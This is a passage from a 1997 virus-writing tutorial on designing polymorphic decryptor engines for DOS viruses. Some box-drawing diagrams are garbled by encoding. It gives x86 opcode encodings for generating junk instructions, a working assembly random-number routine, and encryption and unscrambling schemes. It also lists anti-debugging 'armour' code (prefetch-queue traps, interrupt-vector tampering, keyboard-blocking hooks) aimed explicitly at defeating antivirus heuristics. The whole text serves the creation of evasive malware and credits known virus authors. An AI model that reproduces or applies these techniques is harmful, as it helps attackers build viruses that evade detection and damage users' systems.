1.2) RCL reg, imm 1100000, w, 11010, reg 1.3) RCL reg, cl 1101001, w, 11010, reg 6) RCR ~~~~~~ 1.1) RCR reg, 1 1101000, w, 11011, reg 1.2) RCR reg, imm 1100000, w, 11011, reg 1.3) RCR reg, cl 1101001, w, 11011, reg g) Flag instructions ~~~~~~~~~~~~~~~~~~~~ CLI - 11111010 STI - 11111011 CLD - 11111100 STD - 11111101 CLC - 11111000 STC - 11111001 CMC - 11110101 SAHF - 10011110 LAHF - 10011111 h) Jump instructions ~~~~~~~~~~~~~~~~~~~~ 1) JMP SHORT - EBh, data8 2) JMP NEAR - E9h, data16 3) JMP FAR - EAh, data data is a segment:offset data in inverse format. Example: jmp far 1000:432fh = EAh, 2f43h, 0010h Now, the conditional jumps (note that data8 is a 8 bit signed number; if it's from -127 to -1 the jump is upward otherwise the jump is downward. The jump is counted from the *END* of the jump instruction. This means that a JE 00 is a jump to the next instruction below. A JE 02 is a jump past the two bytes *AFTER* the jump's OpCodes) 4) JBE/JNA - 76h, data8 5) JLE/JNG - 7Eh, data8 6) JB/JNAE/JC - 72h, data8 7) JL/JNGE - 7Ch, data8 8) JZ/JE - 74h, data8 9) JNE/JNZ - 75h, data8 10) JAE/JNB/JNC - 73h, data8 11) JGE/JNL - 7Dh, data8 12) JA/JNBE - 77h, data8 13) JG/JNLE - 7Fh, data8 14) JCXZ - E3h, data8 15) JNO - 71h, data8 16) JO - 70h, data8 17) JP/JPE - 7Ah, data8 18) JNP/JPO - 7Bh, data8 19) JNS - 79h, data8 20) JS - 78h, data8 21) LOOP - E2h, data8 22) CALL SHORT - E8h, data8 23) RETN - C3h 24) RETF - CBh 35) IRET - CFh 36) INT - CD, data8 i) Other misc. instructions ~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) lea reg, mem 10011, d, w, r/m, reg, mod, data For example LEA DI, [BP+1000h] would be: 10011, 0, 1, 10, 111, 110, 0010 Opcode d w r/m reg mod data After all these have been said, you are now able to create skeletons for each instruction and then fill it with the proper registers and mod's and everything. Let's say the following: kreg = CX = 00000001 creg = BX = 00000011 and we want to create: (1) XOR CX, BX (2) MOV [DI], CX For (1) we have the skeleton: 001100, d, w, 11, reg1, reg2 which we encode like: 00110000 11000000, and then we start to fill it: 00110000 or 11000000 or 00000011 00001011 -------- -------- 00110011 11001011 and we have 0011001111001011 = 33CBh For (2) we have the skeleton: 100010, d, w, r/m, reg, mod, data which we encode like: 10001000 00000000, and then start to fill: 10001000 or 00000000 or 00000001 00001101 -------- -------- 10001001 00001101 = 1000100100001101 = 890Dh So, we have: 33 CB xor cx, bx 89 0D mov [di], cx And a final word about all this stuff of coding here. I'm talking about segment overrides. Sometimes you may want to override the memory address with another register. This is done by inserting *before* the entire Opcode the segment override. For example if you want to turn MOV [DI], CX into MOV ES:[DI], CX the opcode will turn from 890Dh to 26890Dh. You may put how many overrides you want, but only the last one will take effect. You can use this to turn 2 byte junk instructions into three byte junk instructions, and so on. 旼컴컴컴컴컴컴� � The Steps � 읕컴컴컴컴컴컴� Ok, now that we know most of the things about how a polymorphic decryptor should look like, let's get deeper. 1) How to store so much information ? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The answer is: Compress and Code everything. I already started this, by giving a number to each of our instructions in the main decryptor. We already created a matrix that will hold the order our instructions will be generated. We *know* which is the length of each instruction. We define it in an array. Then we need to start coding. There are not so many instructions given in all the methods we computed up there. All we have to do is give a number to each of them as soon as we meet one. Like, for example: [1] mov lreg, length a) push imm - 01h pop reg - 02h b) mov ax, imm - 03h mov reg, ax - 04h c) xor reg, reg - 05h xor reg, imm - 06h d) mov reg, 0 - 03h add reg, imm - 07h e) mov reg, imm - 03h So we can code the entire [1] instruction with all it's variants like this: 01 FF 05 FF 01 02 FD FD FF 03 04 FD FF 05 06 FD FF 03 07 FF 03 FD FD FD FD FE where: � the first 01 is the instruction number � the first 05 gives the number of variants � FF is a mark between variants � FE is the mark of end of all � FD marks a junk instruction As I said, you may insert the junks between the real code randomly. This means you can permute the FD's between the FF's and get another code that does the same thing. So, the entire poly-main-decryptor will look like this: decryptor_table: db 01h, FFh, 05h, ... db 02h, FFh, ... ... db 15h, FFh, ... This cleared up how you store the instructions. You create them steb by step. Let's say you picked combination nr. 3 of the first instruction. You generate it. Then you generate random junk. Then you go onto the next instruction, and so on... Of course, before going into this you must compute the random key, keyi, startcode and length and associate for each a random number to junk them around like: if length = 1000h get a random, let's say 1234h and store it like: length = 1000h xor 1234h = 234h When you want to use the real length, just XOR again. But still, how do you code and get all that big amount of instructions with different sizes and everything ? Again: compress and code. Here is an idea: instruction_table: aa bb c d e iiiiiiiiiiiiiiiiiiiiii � � � � � 읕컴컴컴컴컴컴컴컴컴컴�> = instruction skeleton � � � � 읕컴컴컴컴컴컴컴컴컴컴컴�> 1 = can be used as junk � � � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴> 1 = but only with jreg � � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴�> 1 = can use other regs if imm=0 � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴> = instruction length in bytes 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�> = instruction number The bb can be for example a three bit nr. and hold something like this: 000 - instr. is always 2 bytes long 001 - instr. is 2 bytes long if r/m = 00 010 - instr. is 3 bytes long if w = 0 100 - instr. is 4 bytes long if w = 1 or something like this. Here each one of you must use your imagination with only one purpose: Optimization ! The stored data must be as compressed as possible and as easy to access as possible. You should have a place with, let's say, 12 bytes, filed with 0, where you should transfer the instruction you want to create and OR it with the proper values there and then transfer it. This offers speed because you always know the source of instruction. Actually, let's look directly into the code of M.O.F. and see how it stores it's data: db 2, 01101000b, 00000000b ;01 PUSH imm db 1, 01011000b ;02 POP reg db 2, 75h, 0h ;27 JNE db 1, C3h ;28 RET As you can see, the instructions are stored without any r/m, mod, or reg field filled. In order to fill up the instructions we have a so called 'filling table' which looks like this: n ? d r/m mod data16 reg1 reg2 n ! ? x xx xxx xxxxxxxxxxxxxxxx AA BB � � � � � � � � � � � � � � � � � 읕� second register � � � � � � � 읕컴컴 first register � � � � � � 읕컴컴컴컴컴컴컴컴컴컴� data16 (0 if not necessary) (twice) � � � � � 읕컴컴컴컴컴컴컴컴컴컴컴컴� mod for r/m <> 11 � � � � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴� r/m for this instr � � � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� the direction � � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� instruction type � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� segment override 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� instruction number Register codification: 0000 - lreg 0001 - creg 0010 - kreg 0011 - jreg 0100 - preg 0101 - jrpg 0111 - sreg 1000 - dreg 1111 - none ? values: - 001 - a register/register instr. - 010 - a register/immediate instr. - 011 - a register/mem instr. - 100 - a one register instr. - 101 - a immediate only instr. - 111 - a memory only instr. ! values: - 00 - none - 01 - sreg - 10 - dreg - 11 - instruction is special and nothing furthure should be considered if mod = 111 then it's actualy - 100 if preg = SI or - 101 if preg = DI. So, let's take the first instruction in our code: [1] mov lreg, length: - !=00 - no segment override - ?=010 - a register to immediate instr. type - d=0 - normal direction - r/m=00 - based - mod=000 - no index - data16_1 = length xor rndm - data16_2 = rndm - reg1=0000 - first register used is lreg - reg2=1111 - no second register In the first combination for the first instruction we have: push imm 01 pop reg 02 xor reg,rndm 03 As you can see there are 2 immediate values used. M.O.F handles this in this way (downwards). The first push is done with the first data16. The pop reg is done with the lreg and because data16_2 is not 0, the xor is done with the second data16. If data16_2 were 0 then only the first data was used. Hope you get it. 2) How do I get the randoms ? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I promised I'll get back to this. Here bellow is a routine that gives you a random number between 0 and n-1. All you have to do is: mov cx, n Call random and the routine returns the random in AX. If you want a random between 0 - FFFFh just do mov cx, 0. But first of all, in order to have a really random number you should initialize the random number generator by doing a CALL RANDOMIZE. Warning: The routine assumes you have your Delta handler set, otherwise make BP = 0 !! Random nr. generator -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- rand_seed Dw 0 RANDOMIZE: ;procedure to start the Push AX CX DX ;random generator Xor AH,AH ;get timer count Int 1Ah Mov CS:[BP + rand_seed],DX ;and save it Xchg CH,CL Add CS:[BP + rand_seed_2],CX Pop DX CX AX Ret ;-------------------------------------------------------------------------- RANDOM: ; the random number generator In AL,40h ; timer, for random nr Sub AX,CS:[BP + rand_seed] Db 35h ; XOR AX, rand_seed_2 Dw 0 ; what is here Inc AX Add CS:[BP + rand_seed],AX ; change seed cmp cx, 0 je _out Call Modulo _out: Ret ;-------------------------------------------------------------------------- MODULO: ; the modulo procedure ax = ax mod cx Push DX Xor DX, DX Div CX Xchg AX, DX Pop DX Ret -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 3) What parameters my routine must receive and what should it return ? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I suggest that the virus should move itself the code to an empty buffer, passing to the routine a pointer to that location and a length of code to be encrypted. The pointer must be at the beginning of the code to be encrypted not the beginning of all code !! So the routine should receive something like: DS:SI - pointer to code to be encrypted CX - length of code. Warning: The buffer at DS:SI must be big enough to hold the CX bytes of code *and* the decryptor. After the engine generated the decryptor it should return the length of the encrypted code + the length of the decryptor. 4) Is this all ?!? Is my code completely mutant ?!? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Nope... Remember the entry point of the virus ? That place where you get the Delta Handler and then Call the decryptor ? Well, that area should be done in two ways: a) made polimorphic as well b) made very small so it doesn't flag AV's Otherwise, you've done nothing... Your decryptor is perfect, but the virus is cought by the first bytes... Handle with it... It's not hard. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴컴커 � The unscrambling procedure � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴컴켸 Ok, so you wonder what is that 'CALL unscramble' I put there in the decryptor. I could as well say . There actually the code held by the 'creg' register is modified using a math operation involving the second member, the key holder, e.g. the 'kreg' register. In old routines the encryption was made using these ways: Encrypt � Decrypt 컴컴컴컴컴컵컴컴컴컴� XOR � XOR ROR � ROL ADD � SUB AND � OR (here with some playing around) 컴컴컴컴컴컨컴컴컴컴� But more advanced procedures use many ways. For example, my own poly routine (LJ_MOF - Multiple Opcode Fantasy) uses a very trivial way to encrypt the code. It uses 4 methods and in each case the methods are put in a random order. Then the words are encrypted each with another method, in the given order. After each iteration the order shifts and the key is increased. Therefore, we cannot decrypt the code by a simple math operation. If your virus is a small one you may consider a DIV/MUL procedure, but this is very slow. But if your virus is small you may consider an AND/OR scrambling procedure. This is done like this: c = code to be encrypted k = encryption key k' = NOT k E1 = c AND k E2 = c AND k' In your code you store E1 and E2 (there by obtaining an encrypted length = original length * 2). To restore the code simply do: c = E1 or E2. Check it: 1000 and 2222 = 168 NOT 2222 = -2223 1000 and -2223 = 832 ---------------------- 168 or 832 = 1000 So, the thing is you should have a separate unscrambling procedure. Therefore, here is how I see the polymorphic decryptor that a good engine should create:  旼컴컴컴컴� Host 컴컴컴컴컴커 � �  � Entry 旼컴컴컴컴컴컴컴컴컴컴컴� � � Delta getter � � � � � 旼컵컴컴컴컴컴컴컴컴컴컴컴캑<커 � � � � � � � � virus body � � � � � � � � � � (poly engine) � � � � 쳐컴컴컴컴컴컴컴컴컴컴컴탠캐켸 커 � � � � � � � unscrambling routine � � � 읕>쳐컴컴컴컴컴컴컴컴컴컴컴� � 쳐 All this part here must be � ARMOUR � � � generated by the polymorphic 쳐컴컴컴컴컴컴컴컴컴컴컴� � � engine. � decryptor � � � 읕컴컴컴컴컴컴컴컴컴컴컴좔켸 켸 So, the host calls the virus which calls the polymorphic decryptor. First it encounters the ARMOUR routine, then it goes into the decryptor loop which uses the Unscrambling Routine. After that the control is passed back to the virus. But, as we know how to create a polymorphic decryptor, creating a polymorphic unscrambling routine is a piece of cake now. All you must have in mind is to generate something able to make the inverse of the math operation you performed. For the beginners I suggest instead of a CALL to an unscrambling routine to use a simple XOR creg, kreg and then go further with more complicated routines. 旼컴컴컴컴컴컴컴컴컴컴컴컴컴� � Armouring your routines � 읕컴컴컴컴컴컴컴컴컴컴컴컴컴� Ok, so you made a decryptor, completely polymorphic, not one byte there is the same in different generations and still some AV's report that this could be a virus... With the kind of decryptor I gave above, like MOF is, generating almost 2000 bytes decryptors the possibility is very small. And still we should use some techniques. Your decryptor should have in the beginning what I mentioned in the scheme: The ARMOUR. I will not get too deep into this, first because I didn't studied it enough and second of all because there are many articles out there about this. From the beginning I will say that in these days you *should* work in 386 instructions (maybe even 486). This will mess up many AV's and in extra, imagine the possibilities: you have eight 8 bit regs, eight 16 bit regs and eight 32 bit registers, plus some new segment registers ! New polymorphic ways ! Second of all, armour your calls to the decryptor. This could be done easily by removing a CALL decryptor instruction with something not so obvious, like this: mov ax, 0b00h ; get keyboard status int 21h ; this returns al with FFh or 0h dec al ; if we decrement al we'll have a jns not_good ; signed number jmp decryptor ; which will lead us to our decryptor. not_good: Again, don't let the decryptor finish the code. This is followed by many AV's. If you can't make a poly engine, at least put some junk after your last RET. Anyway, in the polymorphic ARMOUR routine (which mustn't be too obvious) you should do some of these: a) Overflow the stack, like: � mov ax, sp mov sp, 0 pop bx mov sp, ax or simply mess with it, like: � Not SP Not SP or � Neg SP Neg SP b) Use the Prefetching Queue. Very good technique: Example 1: mov cs:[patch], 04CB4H patch: Jmp over ; this will turn into Mov ah, 4ch Int 21h over: ... Example 2: mov cs:[patch], 0F7EBh patch: Nop ; this will become JMP $-7 and will be Nop ; an infinite jump ... mov cs:[patch], 0000h You have to understand: normaly, the instruction at the `patch' address will be executed by the processor as a result of the Prefetching Queue. But if debugged or traced, the code will change. In the first example a 'Terminate' will occure, in the second example an infinite jump will appear. The good thing is that you can put a ';' before the mov cs:... instruction in order to easily debug your programs. c) Make very long loops doing a very simple operation (like copying code from a source that's the same with it's destination), and make these loops long: mov ds, ax mov es, ax mov di, si mov cx, 0FEFEh loop1: movsb loop loop1 d) Make calls to Interupts that do nothing, or make calls to interupts that return known values. e) Try to modify the address of INT 01, or INT 03. Then check the int table and see if they changed. If not -> go into an infinite loop, someone is tracing your code. f) Hook some interrupts (like 15 or 19) and in the handler block the keyboard (for example by copying the vector for INT 1ch into the INY 09h place) g) Check the PSP:0000 and if it's not CD20h or if the PSP is it's own parent, hook the computer. h) Get known values, like CDh at PSP:0000 and use it by adding or substracting in order to obtain what you want. j) A very good techinque is the 'wrap around 0' technique. In order to use this you must know that when a register is increased above 0FFFFh it goes around 0 like this: 0FFFEh + 3h = 1h Let's take two numbers. One is called 'base number' (B) and the other 'increment' (I) with the propriety: K = B + I, B + I > 0FFFFh For example, we consider that K is the pointer to our code to decrypt. An usual way to get a byte from that position would be like this: mov di, K ... mov ax, word ptr cs:[di] But with the numbers B and I we can change our code to this: mov di, B ... mov ax, word ptr cs:[di + I] B + I will wrap around 0 and will give the original K. This makes things very bad for the heuristic analysers who search for the places the usual pointer registers hold. Note that numbers wrap around 0 also when they are decreased: 0h - 1h = 0FFFFh So you can also use at your choice something like [di - I] Of course, the B and I numbers will always be choosed randomly. k) Beware when using not very used instruction that may flag some AV's. Like for example AAA, AAS, DAS and so on. Just don't include these in your junk instruction table. Ok, I'll stop here, because we are not going to make this article an anti-debugging one. Armour your poly-decryptor how you can and let the real code do the real tricks. 旼컴컴컴컴컴컴컴컴컴컴컴컴� � Advanced polymorphism � 읕컴컴컴컴컴컴컴컴컴컴컴컴� OK, now after we have `mastered' the basics of polymorphism, if I can say so, let's take a look at ways to render the basic poly engine to what should be the perfect engine. In order to obtain this, we must add to the requirements of a perfect poly engine one more thing: � the decryptor should be able to place itself wherever into the code. Look a little at how I see the process of 'new code procreation': This is how our virus resides in memory: 旼컴컴컴컴컴컴컴컴컴컴컴컴컴커 � 旼컴컴컴커 旼컴컴컴커 � � � Virus � � Empty � � � � body � � space � � � � � � � � � � in � � in � � � � memory � � memory � � � 읕컴컴컴켸 쳐컴컴컴캑 � 컴� � � free � � �__ This extra space is needed for the � � space � � � decryptor � 읕컴컴컴켸 � 컴� 읕컴컴컴컴컴컴컴컴컴컴컴컴컴켸 The poly engine will make a copy of the Virus body over the empty space: 旼컴컴컴컴� 旼컴컴컴컴� 旼컴컴컴컴� � Copy of � �#########� �#########� � Part 1 � virus � Step 1 �#########� Step 2 쳐컴컴컴컴� � body � 컴컴컴컴컴�> �#########� 컴컴컴컴컴�> � free � � � �#########� � space � � � �#########� 쳐컴컴컴컴� 쳐컴컴컴컴� 쳐컴컴컴컴� �#########� � free � � free � �#########� � Part 2 � space � � space � �#########� 읕컴컴컴컴� 읕컴컴컴컴� 읕컴컴컴컴� Where '#' represents the code already encrypted using a given method. In step 2, we move the free space somewhere random into the encrypted code. Actually, we break the encrypted code in two parts: the upper part and the lower part. So, we will have some suplimentar values that we should consider: Start1 = start of first part of code End1 = end of first part of code End2 = end of second part of code We don't need more: the free space start is at End1+1 and the second part start is at End1+FreeSpace+1. After this in the free space the engine will create the decryptor. It must be able to decrypt both parts (at your choice you can encrypt them using different methods) and then give control to a place well known (usualy at the beginning of code). Here we must get rid of the decryptor ! So, after the 'Going Resident part' acted, the memory will look like this: 旼컴컴컴컴� 旼컴컴컴컴� �+++++++++� �+++++++++� '+' represents de decrypted code. 쳐컴컴컴컴� �+++++++++� We got rid of the decryptor by � Decryp� � �+++++++++� moving upwards the entire Part 2 � tor � 컴컴컴컴�> �+++++++++� and make it overwrite the 쳐컴컴컴컴� 읕컴컴컴컴� Decryptor. �+++++++++� �+++++++++� �+++++++++� 읕컴컴컴컴� So, the decryptor worked ! It unscrambled the code, and gave it the control. The code went resident and rejoined his two parts becoming exactly like the original code existed. The main advantage of this thing is that the Call to the decryptor is variable. It is now almost impossible for the heuristic cleaners to locate the place of the virus and remove it, by searching for the original header after emulating the decryptor, especialy if you use some armouring techniques along with that. Here are some other ideas you may use to increase the polymorphism level of your engine: � play with the direction (encryption/decryption to go upwards or downwards) � play with the word/byte level encryption type � after the polymorphic decryptor worked make it give control to another decryptor (this time a really sofisticated one. For more on that check out the `Decryptors' article which I will release soon which will include CoProcessor related decryptors) 旼컴컴컴컴컴� � Closing � 읕컴컴컴컴컴� Since the early days of programming, when I was trying to create self-checking executables or to include in games' executables lines like: 'This game comes from me!', I was intrigued by the internal looks of the code. I knew that you can do this kind of things only by looking at the bit level of the instructions. When I heard about viruses I was curious too. When I heard about the polymorphic routines and after I studied a couple of them I became really interested about this. I don't know if this document helps you in any way, but I would appreciate any feed-back and any ideas in this direction. Thanx. Many thanx go to: The Black Baron, Dark Avenger, Rock Steady, Dark Angel, Qark, Quantum, Hellraiser, Executioner 旼袴袴袴袴袴袴袴袴袴敲 � Lord Julus - 1997 � 읕컴컴컴컴컴컴컴컴컴켸